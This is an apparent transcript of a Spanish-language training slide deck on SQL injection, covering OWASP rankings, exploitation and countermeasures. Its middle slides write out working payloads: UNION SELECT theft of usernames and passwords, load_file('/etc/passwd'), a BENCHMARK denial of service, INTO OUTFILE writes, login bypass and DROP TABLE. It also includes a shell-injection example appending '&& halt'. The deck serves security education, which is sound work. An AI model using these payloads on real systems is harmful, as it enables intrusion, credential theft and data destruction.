Inyecciones sql para todos
Transcript of Inyecciones sql para todos
![Page 1: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/1.jpg)
![Page 2: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/2.jpg)
![Page 3: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/3.jpg)
Cesar NeiraEstudiante de Ing. Sistemas
![Page 4: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/4.jpg)
Aula H4X0RC
esa
r Neira
Inyecciones SQLpara todos
Introducción, explotación y contramedidas.
![Page 5: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/5.jpg)
OWASP Top 10 2004
![Page 6: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/6.jpg)
OWASP Top 10 2004
![Page 7: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/7.jpg)
OWASP Top 10 2007
![Page 8: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/8.jpg)
OWASP Top 10 2007
![Page 9: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/9.jpg)
OWASP Top 10 2010
![Page 10: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/10.jpg)
OWASP Top 10 2010
![Page 11: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/11.jpg)
MITRE – Top 25
![Page 12: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/12.jpg)
MITRE – Top 25
![Page 13: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/13.jpg)
¿Qué está pasando?
![Page 14: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/14.jpg)
¿Qué es una Inyección SQL?
![Page 15: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/15.jpg)
Fallo de inyección
Un interprete ejecuta una instrucción enviada por la aplicación.
La aplicación forma la instrucción con entradas del usuario.
El usuario envía entradas especialmente diseñadas para alterar el significado de la instrucción
![Page 16: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/16.jpg)
Por ejemplo:
PROGRAMA : system(“ls $dir”);ENTRADA : $dirINTERPRETE : /bin/bash
$dir = “images”Instrucción: $ ls imagesHacer un listado del directorio “images”
$dir = “images && halt”Instrucción: $ ls images && haltHacer un listado del directorio “images” y luego apagar el sistema.
![Page 17: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/17.jpg)
Lenguaje SQL
Structured Query Language (lenguaje de consulta estructurado)
Permite realizar diversas operaciones sobre bases de datos relacionales.
Es interpretado por el DBMS.
Existen dialectos específicos para cada DBMS.
![Page 18: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/18.jpg)
Ejemplos de SQL
SELECT email FROM users;
SELECT username,password FROM users WHERE type=1;
admin 123456
![Page 19: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/19.jpg)
SQLi = Injection + SQL
Error de validación de entradas.
Permite alterar las consultas SQL.
No es un error del DBMS.
No es exclusivo de aplicaciones web.
INTERPRETE : DBMSLENGUAJE : SQL
![Page 20: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/20.jpg)
¿Cómo?
![Page 21: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/21.jpg)
Caja Negra
index.php
page=news
id=23
http://example.com/index.php?page=news&id=23
![Page 22: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/22.jpg)
Arquitectura
INTERNET
CLIENTE
SERVIDOR
BASE DE DATOS
HTTP
SQL
![Page 23: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/23.jpg)
User: pepito
http://example.com/news.php?id=23
/* news.php */...$id = $_GET['id'];$query = "SELECT * FROM news WHERE id=$id";...
SELECT * FROM news WHERE id=23
![Page 24: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/24.jpg)
User: Z3r0C001-H@...
http://example.com/news.php?id=23 OR 1=1
/* news.php */...$id = $_GET['id'];$query = "SELECT * FROM news WHERE id=$id";...
SELECT * FROM news WHERE id=23 OR 1=1
![Page 25: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/25.jpg)
¿Y qué?
![Page 26: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/26.jpg)
Extracción de Datos
![Page 27: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/27.jpg)
SELECT * FROM news WHERE id=23 AND 1=0 UNION SELECT username,password FROM users
http://example.com/news.php?id=23 AND 1=0 UNION SELECT username,password FROM users
UNION SELECT
![Page 28: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/28.jpg)
DEMO 1
![Page 29: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/29.jpg)
Extracción de ficheros
![Page 30: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/30.jpg)
LOAD_FILE()
SELECT * FROM news WHERE id=23 AND 1=0 UNION SELECT 1,load_file('/etc/passwd') FROM users
http://example.com/news.php?id=23 AND 1=0 UNION SELECT 1,load_file('/etc/passwd') FROM users
![Page 31: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/31.jpg)
DEMO 2
![Page 32: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/32.jpg)
Ataques DoS
![Page 33: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/33.jpg)
#RefRef
![Page 34: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/34.jpg)
BENCHMARK()
SELECT * FROM news WHERE id=23 AND 0 = BENCHMARK(999999999999,SHA(RAND()))
http://example.com/news.php?id=23 AND 0 = BENCHMARK(999999999999,SHA(RAND()))
![Page 35: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/35.jpg)
DEMO 3
![Page 36: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/36.jpg)
File Upload
![Page 37: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/37.jpg)
OUTFILE / DUMPFILE
SELECT * FROM news WHERE id=23 AND 0 = 1 UNION SELECT '','Hello World!' INTO OUTFILE '/tmp/hello.txt'
http://example.com/news.php?id=23 AND 0 = 1 UNION SELECT '','Hello World!' INTO OUTFILE '/tmp/hello.txt'
![Page 38: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/38.jpg)
DEMO 4
![Page 39: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/39.jpg)
xp_cmdshell
![Page 40: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/40.jpg)
MSF - webpayloads
![Page 41: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/41.jpg)
DEMO 5
![Page 42: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/42.jpg)
Login Bypass
![Page 43: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/43.jpg)
Login Bypass
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '' = ''
/* login.php */...$user = $_POST['username'];$pass = $_POST['password'];$query = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'";...
![Page 44: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/44.jpg)
Por ejemplo...
![Page 45: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/45.jpg)
Ataque Boby Tables
![Page 46: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/46.jpg)
Ataque Boby Tables
SELECT * FROM users WHERE username = ''; DROP TABLE users;--' AND password = ''
/* login.php */...$user = $_POST['username'];$pass = $_POST['password'];$query = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'";...
![Page 47: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/47.jpg)
Y hay más...
![Page 48: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/48.jpg)
Oh, y ahora ¿Quiénpodrá defendernos?
![Page 49: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/49.jpg)
Validación de entradas
- Expresiones regulares
- Validación de tipo
- Escapar caracteres especiales
- Librerías de seguridad ESAPI
No solo JavaScript
![Page 50: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/50.jpg)
ConsultasParametrizadas
Definir primero la consulta y luego pasarle los parámetros.
- Prepared Statements.
- Storage Procedures.
![Page 51: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/51.jpg)
Permisos de Acceso
- Las aplicaciones no necesitan la cuenta de administrador.
- GRANT ALL PRIV... ¿Es necesario?
- Aplicaciones diferentes, usuarios diferentes
![Page 52: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/52.jpg)
IDS, IPS, WAF, etc...
- Sistemas de detección y prevención de intrusos. (Snort)
- Web Application Firewall. (mod_security)
- Reescritura de solicitudes HTTP. (mod_rewrite)
- Basados en patrones.
- No 100% confiables.
![Page 53: Inyecciones sql para todos](https://reader034.fdocument.pub/reader034/viewer/2022042512/556699c5d8b42a51558b560d/html5/thumbnails/53.jpg)
Gracias por participarmuy pronto estamos en provincias
para más información ingresa a nuestra web
En el 2012 mucho más de nosotros…
http://alguienenlafisi.blogspot.com